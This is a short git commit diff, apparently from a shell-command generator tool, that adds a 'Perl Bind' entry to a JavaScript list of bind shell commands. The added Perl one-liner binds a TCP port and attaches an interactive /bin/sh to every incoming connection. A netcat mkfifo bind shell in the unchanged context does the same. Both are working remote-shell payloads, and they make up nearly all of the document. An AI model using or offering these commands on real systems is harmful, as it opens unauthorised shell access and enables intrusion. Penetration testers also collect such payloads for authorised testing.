Add Perl bind shell

This commit is contained in:
Sébastien Copin 2023-10-11 13:48:58 +02:00
parent c6528c8404
commit d9f1387db1

View File

@ -398,6 +398,11 @@ const bindShellCommands = withCommandType(
"command": "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 {port} > /tmp/f",
"meta": ["bind", "mac", "linux"]
},
{
"name": "Perl Bind",
"command": "perl -e 'use Socket;$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,\">&C\");open(STDOUT,\">&C\");open(STDERR,\">&C\");exec(\"/bin/sh -i\");};'",
"meta": ["bind", "mac", "linux"]
},
]
);